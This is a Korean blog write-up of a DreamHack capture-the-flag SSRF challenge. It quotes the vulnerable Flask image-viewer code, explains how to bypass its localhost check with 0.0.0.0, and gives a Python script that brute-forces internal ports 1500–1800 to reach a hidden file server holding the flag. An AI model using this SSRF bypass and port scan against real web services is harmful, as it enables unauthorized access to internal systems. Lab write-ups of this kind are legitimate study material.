코드 분석
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
if, elif 를 우회 할 경우 url get request 수행 가능
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
로컬 호스트에서 1500~1800 포트에서 서버 실행하며,
http.server.SimpleHTTPRequestHandler 은
=> HTTP 요청을 처리하고, 서버가 실행되는 디렉터리에서 파일을 클라이언트에게 제공하는 역할을 합니다.
접근 전략
따라서 url 파라미터에 localhost:randomport/flag.txt 입력수행 목표
localhost 0.0.0.0 으로 입력
randomport => bruteforce 수행
app.run(host="0.0.0.0", port=8000, threaded=True)
8000번 포트를 통해 있는 정상적인 서비스일 경우의 응답 값 확인
import requests
# 서버의 URL
base_url = "http://host3.dreamhack.games:17279/img_viewer"
proxies = {
"http": "http://localhost:8080",
"https": "http://localhost:8080"
}
# 1500번부터 1800번 포트까지 반복적으로 요청
for port in range(1500, 1801):
# URL의 포트 부분을 1500~1800으로 변경
payload = {
"url": f"http://0.0.0.0:{port}/static/dream.png"
}
# HTTP 헤더 설정
headers = {
"Host": "host3.dreamhack.games:17279",
"Cache-Control": "max-age=0",
"Accept-Language": "ko-KR",
"Origin": "http://host3.dreamhack.games:17279",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
}
# HTTP POST 요청 보내기
response = requests.post(base_url, data=payload, headers=headers,proxies=proxies)
# 요청 결과 출력
print(f"Port: {port}, Status Code: {response.status_code}")
print(response.headers.get('Content-Length')) # 응답 내용 출력
1700 번포트 당첨
'Hacking > DreamHack' 카테고리의 다른 글
Dream Gallery (0) | 2024.09.04 |
---|---|
Additional calculator (0) | 2024.09.04 |
Bypass-WAF (0) | 2024.09.04 |
Cat Jump (6) | 2024.08.28 |
Master Canary (0) | 2024.08.13 |